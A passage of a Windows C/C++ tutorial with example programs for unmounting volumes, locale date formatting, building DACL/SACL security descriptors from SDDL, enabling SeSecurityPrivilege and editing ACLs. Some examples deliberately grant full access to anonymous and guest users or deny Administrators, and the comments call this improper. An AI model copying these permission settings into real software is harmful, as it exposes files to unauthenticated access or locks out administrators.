char lpszFileName[100] = "F:\\mymntpoint\\projectc\\doc\\Borland.doc";


char lpszVolumePathName[100];
DWORD cchBufferLength = 100;

BOOL test = GetVolumePathName(


lpszFileName,
lpszVolumePathName,
cchBufferLength
);
printf("The Volume path name for %s is:\n %s\n", lpszFileName, lpszVolumePathName);
}
return (bFlag);
}

----------------------------------------------------------------------------------------------------------------------

//*******myunmount.cpp***********
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[])


{
BOOL bFlag;
//If the argument for the mount point is not given...
if(argc != 2)
{
printf("%s command unmounts a volume from the volume mount point.\n", argv[0]);
printf("Usage: \"%s <the_mount_point>\n", argv[0]);
printf("Example: \"%s c:\\mymnt\\gdrive\\\"\n", argv[0]);
//Just exit

file:///C|/Tutorial.txt (694 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

return (-1);
}

//Do some verification, error checking...


//The argv[1] is a path of the volume mount point
bFlag = DeleteVolumeMountPoint(argv[1]);

if(!bFlag)
{
printf("Unmounting the volume at %s failed!\n", argv[1]);
exit(-1);
}
else
printf("Unmounting the volume at %s successfully done!\n", argv[1]);

return (bFlag);
}

==============================ModuleG=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

/* Sets the current locale to "Italian" and "French" using the


* setlocale() function. */
#include <stdio.h>
#include <locale.h>
#include <time.h>

int main()
{
time_t ltime;
struct tm *testime;
unsigned char locstr[100];

/* Set the locale to Italian */


setlocale(LC_ALL, "italian");
time(&ltime);
testime = gmtime(&ltime);

/* %#x is the long date representation, appropriate to the current locale */


if(!strftime((char *)locstr, 100, "%#x", (const struct tm *)testime))

file:///C|/Tutorial.txt (695 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("strftime failed!\n");
else
printf("In Italian locale, strftime returns \"%s\"\n", locstr);

/* Set the locale to French */


setlocale(LC_ALL, "french");
time(&ltime);
testime = gmtime(&ltime);

/* %#x is the long date representation, appropriate to the current locale */


if(!strftime((char *)locstr, 100, "%#x", (const struct tm *)testime))
printf("strftime failed!\n");
else
printf("In French locale, strftime returns \"%s\"\n", locstr);

/* Set the locale back to the default environment */


setlocale(LC_ALL, "C");
time(&ltime);
testime = gmtime(&ltime);

printf("Back to default...\n");
if(!strftime((char *)locstr, 100, "%#x", (const struct tm *)testime))
printf("strftime failed!\n");
else
printf("In 'C' locale, strftime returns \"%s\"\n", locstr);

return 0;
}

==============================ModuleJ=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

#define _WIN32_WINNT 0x0500


#include <windows.h>
#include <sddl.h>
#include <stdio.h>

// Prototype
BOOL CreateMyDACL(SECURITY_ATTRIBUTES *);

file:///C|/Tutorial.txt (696 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

TCHAR DirName[20] = "C:\\MyDirectory";

int main()
{
SECURITY_ATTRIBUTES sa;

// The SECURITY_ATTRIBUTE structure size


sa.nLength = sizeof(SECURITY_ATTRIBUTES);
// The return handle not inherited
sa.bInheritHandle = FALSE;

// Call CreateMyDACL() function to set the DACL. The DACL


// is set in the SECURITY_ATTRIBUTES
// lpSecurityDescriptor member.
if(!CreateMyDACL(&sa))
{
//Error encountered; generate message and just exit.
printf("Failed CreateMyDACL()\n");
exit(1);
}
else
printf("CreateMyDACL() is OK\n");

// Use the updated SECURITY_ATTRIBUTES to specify


// security attributes for securable objects.
// This example uses security attributes during
// creation of a new directory.
if(CreateDirectory(DirName, &sa) == 0)
{
// Error encountered; generate message and exit.
printf("CreateDirectory() failed lol!\n");
exit(1);
}
else
printf("CreateDirectory() is OK.\n");

// Release the memory allocated for the SECURITY_DESCRIPTOR.


if(LocalFree(sa.lpSecurityDescriptor) != NULL)
{
// Error encountered; generate message and exit.
printf("LocalFree() failed.\n");
exit(1);
}
else
printf("LocalFree() is OK.\n");
return 0;
}

// CreateMyDACL.
// Create a security descriptor that contains the DACL you want.
// This function uses SDDL to make Deny and Allow ACEs.
//
// Parameter:
// SECURITY_ATTRIBUTES * pSA
// Pointer to a SECURITY_ATTRIBUTES structure. It is the caller's
// responsibility to properly initialize the structure and to free

file:///C|/Tutorial.txt (697 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// the structure's lpSecurityDescriptor member when the caller has


// finished using it. To free the structure's lpSecurityDescriptor
// member, call the LocalFree function.
//
// Return value:
// FALSE if the address to the structure is NULL.
// Otherwise, this function returns the value from the
// ConvertStringSecurityDescriptorToSecurityDescriptor function.
BOOL CreateMyDACL(SECURITY_ATTRIBUTES * pSA)
{
// Define the SDDL for the DACL. This example sets
// the following access:
// Deny all for built-in Administrators group
// Allow read/write/execute to Authenticated users
// Allow all to anonymous logon
// Allow all to built-in guests
// This is not a proper setting, how come you deny the Administrator lol!!!
// But this example just for fun...
TCHAR * szSD = TEXT("D:") // Discretionary ACL
TEXT("(D;OICI;GA;;;BA)") // Deny all for built-in Administrators group :o)
TEXT("(D;OICI;GRGWGX;;;AU)") // Allow read/write/execute to Authenticated users
TEXT("(A;OICI;GA;;;AN)") // Allow all to anonymous logon
TEXT("(A;OICI;GA;;;BG)"); // Allow all to built-in guests

if(pSA == NULL)
return FALSE;

PULONG nSize = 0;
// Do some verification
printf("The ACE strings: %s \n", szSD);
printf("The converted string is at: %p \n", &(pSA->lpSecurityDescriptor));

// Convert the string to the security descriptor binary and return


return ConvertStringSecurityDescriptorToSecurityDescriptor(
szSD, // The ACE strings
SDDL_REVISION_1, // Standard revision level
&(pSA->lpSecurityDescriptor), // Pointer to the converted security descriptor
nSize); // The size in byte the converted security descriptor
}

--------------------------------------------------------------------------------------------------------

//Creating an ACL-DACL & SACL, need the required privilege for SACL
//The following #define must be the 1st statement
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <sddl.h>
#include <stdio.h>

//******************* Enabling the privilege *******************


BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable (or disable privilege)
)
{

file:///C|/Tutorial.txt (698 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

TOKEN_PRIVILEGES tp;
LUID luid;

if(!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue() error: %u\n", GetLastError());
return FALSE;
}
else
printf("LookupPrivilegeValue() is OK\n");

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;

// Don't forget to disable the privilege after you enable them,


if(bEnablePrivilege)
{
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Just a verification here...
printf("tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED\n");
}
else
{
tp.Privileges[0].Attributes = 0;
printf("tp.Privileges[0].Attributes = 0\n");
}

// Enable the privilege (or disable all privileges).


if(!AdjustTokenPrivileges(
hToken,
FALSE, // If TRUE, function disables all privileges, if FALSE
// the function modifies privileges based on the tp
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL))
{
printf("AdjustTokenPrivileges() error: %u\n", GetLastError());
return FALSE;
}
else
printf("AdjustTokenPrivileges() is OK, last error if any: %u\n", GetLastError());

return TRUE;
}
//********************** Create the ACL *****************
// CreateMyACL() routine.
// The return value is FALSE if the address to the structure is NULL.
// Otherwise, this function returns the value from the
// ConvertStringSecurityDescriptorToSecurityDescriptor function.
BOOL CreateMyACL(SECURITY_ATTRIBUTES * pSA)
{
// Define the SDDL for the DACL & SACL.

file:///C|/Tutorial.txt (699 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

TCHAR * szSD = TEXT("D:") // DACL


TEXT("(D;OICI;GRLOFR;;;AN)") // Deny Anonymous some rights
TEXT("(A;;RPWPCCDCLCRCWOWDSDSW;;;SY)") // Allow System some rights
TEXT("(A;OICI;GACCFA;;;LA)") // Allow Built-in Administrator some rights
TEXT("(A;OICI;GACCFA;;;S-1-5-11)") // Allow Authenticated user some rights
TEXT("S:") // SACL
TEXT("(OU;SAFA;RPWPCCDCLCRCWOWDSDSW;;;S-1-5-18)") // Object audit success/fail, Local
// systems, using a SID string
TEXT("(OU;SAFA;GACCFA;;;AU)") // Object audit success/fail, Authenticated users
TEXT("(OU;SAFA;GAWPFW;;;LA)"); // Object audit success/fail, Built-in Administrator
// Verify
if(pSA == NULL)
return FALSE;
// Do some verification
printf("The ACE strings: %s \n", szSD);

// Convert to security descriptor binary and return


return ConvertStringSecurityDescriptorToSecurityDescriptor(
szSD, // The ACE strings
SDDL_REVISION_1, // Standard revision level
&(pSA->lpSecurityDescriptor), // Pointer to the converted security descriptor
NULL); // The size in byte the converted security descriptor
}

//******************* main *******************


int main()
{
TCHAR DirName[30] = "H:\\MyTestDir";
SECURITY_ATTRIBUTES sa;

//******************* Enable the privilege first *******************


LPCTSTR lpszPrivilege = "SeSecurityPrivilege";
// Change this BOOL value to set/unset the SE_PRIVILEGE_ENABLED attribute
BOOL bEnablePrivilege = TRUE;
// Handle to the running process that is this (running) program
HANDLE hToken;

//*************** Get the handle to the process ****************


// Open a handle to the access token for the calling process.
// That is this running program
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
printf("OpenProcessToken() error %u\n", GetLastError());
return FALSE;
}
else
printf("OpenProcessToken() is OK\n");

//********************* Enabling (Disabling) privilege ***************************


// Call the user defined SetPrivilege() function to enable privilege
BOOL test = SetPrivilege(hToken, lpszPrivilege, bEnablePrivilege);
// Verify
printf("The SetPrivilage() return value: %d\n\n", test);

//*********************** End enabling privilege *********************

file:///C|/Tutorial.txt (700 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// The SECURITY_ATTRIBUTE structure size


sa.nLength = sizeof(SECURITY_ATTRIBUTES);
// The return handle not inherited
sa.bInheritHandle = FALSE;

// Call CreateMyACL() function to set the DACL and SACL,


// is set in the SECURITY_ATTRIBUTES lpSecurityDescriptor member.
if(!CreateMyACL(&sa))
{
//Error encountered; generate message and just exit.
printf("CreateMyACL() is not OK, error %u.\n", GetLastError());
exit(1);
}
else
printf("CreateMyACL() is OK.\n");

// Use the updated SECURITY_ATTRIBUTES to specify


// security attributes for securable objects.
// This example uses security attributes during
// creation of a new directory.
if(CreateDirectory(DirName, &sa) == 0)
{
// Error encountered; generate message and just exit.
printf("CreateDirectory() is not OK lol!\n");
exit(1);
}
else
printf("CreateDirectory() is OK.\n\n");

//***************** Disable the privilege ********************


bEnablePrivilege = FALSE;
SetPrivilege(hToken, lpszPrivilege, bEnablePrivilege);
// Verify
printf("The SetPrivilage() return value: %d\n\n", test);

//****************** Clean up ********************************


// Release the memory allocated for the SECURITY_DESCRIPTOR.
// This means release back the used memory to the system
if(LocalFree(sa.lpSecurityDescriptor) != NULL)
{
// Error encountered; generate message and just exit.
printf("LocalFree() is not OK.\n");
exit(1);
}
else
printf("LocalFree() is OK.\n");

return 0;
}

--------------------------------------------------------------------------------------------------------

// Using the same program, but in this program


// we try to demonstrate creating an empty DACL
#define _WIN32_WINNT 0x0500
#include <windows.h>

file:///C|/Tutorial.txt (701 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <sddl.h>
#include <stdio.h>

// Prototype
BOOL CreateMyDACL(SECURITY_ATTRIBUTES *);

TCHAR DirName[20] = "C:\\MyDirectory";

int main()
{
SECURITY_ATTRIBUTES sa;

// The SECURITY_ATTRIBUTE structure size


sa.nLength = sizeof(SECURITY_ATTRIBUTES);
// The return handle not inherited
sa.bInheritHandle = FALSE;

// Call CreateMyDACL() function to set the DACL. The DACL


// is set in the SECURITY_ATTRIBUTES
// lpSecurityDescriptor member.
if(!CreateMyDACL(&sa))
{
//Error encountered; generate message and just exit.
printf("Failed CreateMyDACL()\n");
exit(1);
}
else
printf("CreateMyDACL() is OK\n");

// Use the updated SECURITY_ATTRIBUTES to specify


// security attributes for securable objects.
// This example uses security attributes during
// creation of a new directory.
if(CreateDirectory(DirName, &sa) == 0)
{
// If error encountered; generate message and exit.
printf("CreateDirectory() for %s failed lol!\n", DirName);
exit(1);
}
else
printf("CreateDirectory() for %s is OK.\n", DirName);

// Release the memory allocated for the SECURITY_DESCRIPTOR.


if(LocalFree(sa.lpSecurityDescriptor) != NULL)
{
// Error encountered; generate message and exit.
printf("LocalFree() failed.\n");
exit(1);
}
else
printf("LocalFree() is OK.\n");
return 0;
}

// Create a security descriptor that contains the DACL you want.


BOOL CreateMyDACL(SECURITY_ATTRIBUTES * pSA)

file:///C|/Tutorial.txt (702 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
TCHAR * szSD = TEXT("D:"); // An empty DACL

if(pSA == NULL)
return FALSE;

PULONG nSize = 0;
// Do some verification
printf("The ACE strings: %s \n", szSD);
printf("The converted string is at: %p \n", &(pSA->lpSecurityDescriptor));

// Convert the string to the security descriptor binary and return


return ConvertStringSecurityDescriptorToSecurityDescriptor(
szSD, // The ACE strings
SDDL_REVISION_1, // Standard revision level
&(pSA->lpSecurityDescriptor), // Pointer to the converted security descriptor
nSize); // The size in byte the converted security descriptor
}

--------------------------------------------------------------------------------------------------------

// Using the same program, but in this program


// we try to demonstrate creating a NULL DACL
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <sddl.h>
#include <stdio.h>

// Prototype
BOOL CreateMyDACL(SECURITY_ATTRIBUTES *);

TCHAR DirName[20] = "C:\\MyDirectory";

int main()
{
SECURITY_ATTRIBUTES sa;

// The SECURITY_ATTRIBUTE structure size


sa.nLength = sizeof(SECURITY_ATTRIBUTES);
// The return handle not inherited
sa.bInheritHandle = FALSE;

// Call CreateMyDACL() function to set the DACL. The DACL


// is set in the SECURITY_ATTRIBUTES
// lpSecurityDescriptor member.
if(!CreateMyDACL(&sa))
{
//Error encountered; generate message and just exit.
printf("Failed CreateMyDACL()\n");
exit(1);
}
else
printf("CreateMyDACL() is OK\n");

// Here we just set a NULL DACL lol!


if(CreateDirectory(DirName, NULL) == 0)

file:///C|/Tutorial.txt (703 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
// Error encountered; generate message and exit.
printf("CreateDirectory() for %s failed lol!\n", DirName);
exit(1);
}
else
printf("CreateDirectory() for %s is OK.\n", DirName);

// Release the memory allocated for the SECURITY_DESCRIPTOR.


if(LocalFree(sa.lpSecurityDescriptor) != NULL)
{
// Error encountered; generate message and exit.
printf("LocalFree() failed.\n");
exit(1);
}
else
printf("LocalFree() is OK.\n");
return 0;
}

// Create a security descriptor that contains the DACL you want.


BOOL CreateMyDACL(SECURITY_ATTRIBUTES * pSA)
{
TCHAR * szSD = TEXT("D:") // Discretionary ACL
TEXT("(D;OICI;GA;;;BA)") // Deny all for built-in Administrators group :o)
TEXT("(D;OICI;GRGWGX;;;AU)") // Allow read/write/execute to Authenticated users
TEXT("(A;OICI;GA;;;AN)") // Allow all to anonymous logon
TEXT("(A;OICI;GA;;;BG)"); // Allow all to built-in guests

if(pSA == NULL)
return FALSE;

PULONG nSize = 0;
// Do some verification
printf("The ACE strings: %s \n", szSD);
printf("The converted string is at: %p \n", &(pSA->lpSecurityDescriptor));

// Convert the string to the security descriptor binary and return


return ConvertStringSecurityDescriptorToSecurityDescriptor(
szSD, // The ACE strings
SDDL_REVISION_1, // Standard revision level
&(pSA->lpSecurityDescriptor), // Pointer to the converted security descriptor
nSize); // The size in byte the converted security descriptor
}

--------------------------------------------------------------------------------------------------------

// Modifying DACL of an object. In ACL there are ACEs...


// So add or remove ACEs lol. Here we are going
// to add deny standard right access for Administrators group
// This Win XP machine is logged in by user named Mike who is
// a member of Administrators group...

#include <windows.h>
#include <accctrl.h>
#include <aclapi.h>

file:///C|/Tutorial.txt (704 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <stdio.h>

// Clean up the buffer function


void Cleanup(PSECURITY_DESCRIPTOR pSD, PACL pNewDACL)
{
if(pSD != NULL)
LocalFree((HLOCAL) pSD);
else
printf("pSD cleaning is OK\n");

if(pNewDACL != NULL)
LocalFree((HLOCAL) pNewDACL);
else
printf("pNewDACL cleaning is OK\n");
}

int main()
{
// name of object, here we will add ACE for a directory
// the directory is already created...
LPTSTR pszObjName = "C:\\Testdir";
// type of object, file or directory. Here we test on directory
SE_OBJECT_TYPE ObjectType = SE_FILE_OBJECT;
// access mask for new ACE equal to 0x001F0000 flags (bit 0 till 15)
DWORD dwAccessRights = STANDARD_RIGHTS_ALL;
// type of ACE, Access denied ACE
ACCESS_MODE AccessMode = DENY_ACCESS;
// inheritance flags for new the ACE.
// The OBJECT_INHERIT_ACE and CONTAINER_INHERIT_ACE flags are
// not propagated to an inherited ACE.
DWORD dwInheritance = NO_PROPAGATE_INHERIT_ACE;
// format of trustee structure, the trustee is name
TRUSTEE_FORM TrusteeForm = TRUSTEE_IS_NAME;
// trustee for new ACE. This just for fun...When you run once, only one
// element will take effect. By changing the first array element we
// can change to other trustee and re run the program....
// Other than Mike, they are all well known trustees
char pszTrustee[4][15] = {"Administrators", "System", "Users", "Mike"};

// Result
DWORD dwRes = 0;
// Existing and new DACL pointers...
PACL pOldDACL = NULL, pNewDACL = NULL;
// Security descriptor
PSECURITY_DESCRIPTOR pSD = NULL;
// EXPLICIT_ACCESS structure. For more than one entries,
// declare an array of the EXPLICIT_ACCESS structure
EXPLICIT_ACCESS ea;

// Verify the object name validity


if(pszObjName == NULL)
return ERROR_INVALID_PARAMETER;
else
printf("The object name is OK\n");

// Some verification...just for fun...

file:///C|/Tutorial.txt (705 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Verify that our new trustee strings is OK


for(int i = 0; i <= 3; i++)
printf("Test pointer #%d: %s\n", i, pszTrustee[i]);

// Get a pointer to the existing DACL.


dwRes = GetNamedSecurityInfo(pszObjName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL, &pOldDACL, NULL, &pSD);

// Verify
if(dwRes != ERROR_SUCCESS)
{
printf("GetNamedSecurityInfo() error %u\n", dwRes);
Cleanup(pSD, pNewDACL);

}
else
printf("GetNamedSecurityInfo() is OK\n");

// Initialize an EXPLICIT_ACCESS structure for the new ACE.


// For more entries, declare an array of the EXPLICIT_ACCESS structure
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = dwAccessRights;
ea.grfAccessMode = AccessMode;
ea.grfInheritance= dwInheritance;
ea.Trustee.TrusteeForm = TrusteeForm;
// Test for Administrators group, a new trustee for the ACE
// For other trustees, you can try changing the array index
// to 1, 2 and 3 and rerun, see the effect
ea.Trustee.ptstrName = (LPTSTR)(pszTrustee[0]);

// Create a new ACL that merges the new ACE


// into the existing DACL.
dwRes = SetEntriesInAcl(1, &ea, pOldDACL, &pNewDACL);

// Verify
if(dwRes != ERROR_SUCCESS)
{
printf("SetEntriesInAcl() Error %u\n", dwRes);
Cleanup(pSD, pNewDACL);
}
else
printf("SetEntriesInAcl() is OK\n");

// Attach the new ACL as the object's DACL.


dwRes = SetNamedSecurityInfo(pszObjName, ObjectType,
DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL);

if(dwRes != ERROR_SUCCESS)
{
printf("SetNamedSecurityInfo() Error %u\n", dwRes);
Cleanup(pSD, pNewDACL);
}
printf("SetNamedSecurityInfo() is OK\n");

return 0;

file:///C|/Tutorial.txt (706 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

--------------------------------------------------------------------------------------------------------

// Modifying ACL of an object. Here we are going to


// add Allow standard right access and SACL.
// This Win XP machine is logged in by user named Mike
// who is a member of Administrators group...
// To access a SACL using the GetNamedSecurityInfo()
// or SetNamedSecurityInfo() functions, we have to enable
// the SE_SECURITY_NAME privilege.

#include <windows.h>
#include <accctrl.h>
#include <aclapi.h>
#include <stdio.h>

// Clean up routine
void Cleanup(PSECURITY_DESCRIPTOR pSS, PACL pNewSACL)
{
if(pSS != NULL)
LocalFree((HLOCAL) pSS);
else
printf("pSS cleaning is OK\n");

if(pNewSACL != NULL)
LocalFree((HLOCAL) pNewSACL);
else
printf("pNewSACL cleaning is OK\n");
}

int main()
{
// name of object, here we will add an ACE for a directory
LPTSTR pszObjName = "C:\\Testdir2\\Testdir3";
// type of object, file or directory, a directory
SE_OBJECT_TYPE ObjectType = SE_FILE_OBJECT;
// access mask for new ACE equal to 0X11000000
// GENERIC_ALL and ACCESS_SYSTEM_SECURITY
DWORD dwAccessRights = 0X11000000;
// type of ACE, set audit for success
ACCESS_MODE AccessMode = SET_AUDIT_SUCCESS;
// inheritance flags for new ACE.
// The OBJECT_INHERIT_ACE and CONTAINER_INHERIT_ACE flags are
// not propagated to an inherited ACE.
DWORD dwInheritance = NO_PROPAGATE_INHERIT_ACE;
// format of trustee structure, the trustee is name
TRUSTEE_FORM TrusteeForm = TRUSTEE_IS_NAME;
// the new trustee for the ACE is set to testuser,
// a normal user
LPTSTR pszTrustee = "testuser";

// Result
DWORD dwRes = 0;
// Existing and new SACL pointers...
PACL pOldSACL = NULL, pNewSACL = NULL;

file:///C|/Tutorial.txt (707 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Security descriptor
PSECURITY_DESCRIPTOR pSS = NULL;
// EXPLICIT_ACCESS structure
EXPLICIT_ACCESS ea;

// Verify the object name validity


if(pszObjName == NULL)
return ERROR_INVALID_PARAMETER;
else
printf("The object name is OK\n");

//******************************************************
// Get the privilege first!!!
// Privilege routine here
//******************************************************

// Get a pointer to the existing SACL.


dwRes = GetNamedSecurityInfo(pszObjName, ObjectType,
SACL_SECURITY_INFORMATION,
NULL, NULL, NULL, &pOldSACL, &pSS);

// Verify
if(dwRes != ERROR_SUCCESS)
{
printf("GetNamedSecurityInfo() error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("GetNamedSecurityInfo() is OK\n");

// Initialize an EXPLICIT_ACCESS structure for the new ACE.


// If more entries needed, you can create an array of the ea variable of
// the EXPLICIT_ACCESS
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = dwAccessRights;
ea.grfAccessMode = AccessMode;
ea.grfInheritance= dwInheritance;
ea.Trustee.TrusteeForm = TrusteeForm;
// Other structure elements...
// ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP;
// ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
// The trustee is testuser
ea.Trustee.ptstrName = pszTrustee;

// Create a new ACL that merges the new ACE


// into the existing ACL.
dwRes = SetEntriesInAcl(1, &ea, pOldSACL, &pNewSACL);

if(dwRes != ERROR_SUCCESS)
{
printf("SetEntriesInAcl() error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("SetEntriesInAcl() is OK\n");

file:///C|/Tutorial.txt (708 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Attach the new ACL as the object's SACL.


dwRes = SetNamedSecurityInfo(pszObjName, ObjectType,
SACL_SECURITY_INFORMATION, NULL, NULL, NULL, pNewSACL);

if(dwRes != ERROR_SUCCESS)
{
printf("SetNamedSecurityInfo() error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("SetNamedSecurityInfo() is OK\n");

return 0;
}

==============================ModuleK=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

#include <windows.h>
#include <stdio.h>

BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable (or disable privilege)
)
{
// Token privilege structure
TOKEN_PRIVILEGES tp;
// Used by local system to identify the privilege
LUID luid;

if(!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue() error: %u\n", GetLastError());
return FALSE;
}

file:///C|/Tutorial.txt (709 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("LookupPrivilegeValue() is OK\n");

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;

// Don't forget to disable the privileges after you enabled them,


// or have already completed your task. Don't mess up your system :o)
if(bEnablePrivilege)
{
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
printf("tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED\n");
}
else
{
tp.Privileges[0].Attributes = 0;
printf("tp.Privileges[0].Attributes = 0\n");
}

// Enable the privilege (or disable all privileges).


if(!AdjustTokenPrivileges(
hToken,
FALSE, // If TRUE, function disables all privileges, if FALSE
// the function modifies privilege based on the tp
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL))
{
printf("AdjustTokenPrivileges() error: %u\n", GetLastError());
return FALSE;
}
else
{
printf("AdjustTokenPrivileges() is OK, last error if any: %u\n", GetLastError());
printf("Should be 0, means the operation completed successfully = ERROR_SUCCESS\n");
}
return TRUE;
}

int main()
{
LPCTSTR lpszPrivilege = "SeSecurityPrivilege";
// Change this BOOL value to set/unset the SE_PRIVILEGE_ENABLED attribute
BOOL bEnablePrivilege = TRUE;
HANDLE hToken;

// Open a handle to the access token for the calling process.


// That is this running program
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
printf("OpenProcessToken() error %u\n", GetLastError());
return FALSE;
}
else
printf("OpenProcessToken() is OK\n");

file:///C|/Tutorial.txt (710 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Call the user defined SetPrivilege() function to enable


// and set the needed privilege
BOOL test = SetPrivilege(hToken, lpszPrivilege, bEnablePrivilege);
printf("The SetPrivilege() return value: %d\n\n", test);

//************************************************
// TODO: Complete your task here
//***********************************************

// After we have completed our task, don't forget to disable the privilege
bEnablePrivilege = FALSE;
BOOL test1 = SetPrivilege(hToken, lpszPrivilege, bEnablePrivilege);
printf("The SetPrivilage() return value: %d\n", test1);

return 0;
}

------------------------------------------------------------------------------------------------

// Modifying ACL of an object. Here we are going to


// add Allow standard right access and set an ACE for SACL.
// This Win XP machine is logged in by user named Mike
// who is a member of Administrators group...
// To access a SACL using the GetNamedSecurityInfo()
// or SetNamedSecurityInfo() functions, you have to enable
// the SE_SECURITY_NAME privilege.

#include <windows.h>
#include <accctrl.h>
#include <aclapi.h>
#include <stdio.h>

//********* Enabling (Disabling) the privilege *********


BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable (or disable privilege)
)
{
TOKEN_PRIVILEGES tp;
// Used by local system to identify the privilege
LUID luid;

if(!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue() error: %u\n", GetLastError());
return FALSE;
}
else
printf("LookupPrivilegeValue() is OK\n");

tp.PrivilegeCount = 1;

file:///C|/Tutorial.txt (711 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

tp.Privileges[0].Luid = luid;

// Don't forget to disable the privilege after you enable them,


// don't mess up your system :-)
if(bEnablePrivilege)
{
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
printf("tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED\n");
}
else
{
tp.Privileges[0].Attributes = 0;
printf("tp.Privileges[0].Attributes = 0\n");
}

// Enable the privilege (or disable all privileges).


if(!AdjustTokenPrivileges(
hToken,
FALSE, // If TRUE, function disables all privileges, if FALSE
// the function modifies privileges based on the tp
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL))
{
printf("AdjustTokenPrivileges() error: %u\n", GetLastError());
return FALSE;
}
else
{
printf("AdjustTokenPrivileges() is OK, last error if any: %u\n", GetLastError());
printf("Should be 0, means the operation completed successfully = ERROR_SUCCESS\n");
}
return TRUE;
}

//************** Clean up routine ***************


void Cleanup(PSECURITY_DESCRIPTOR pSS, PACL pNewSACL)
{
if(pSS != NULL)
LocalFree((HLOCAL) pSS);
else
printf("pSS cleaning is OK\n");

if(pNewSACL != NULL)
LocalFree((HLOCAL) pNewSACL);
else
printf("pNewSACL cleaning is OK\n");
}

//******** The main() **********
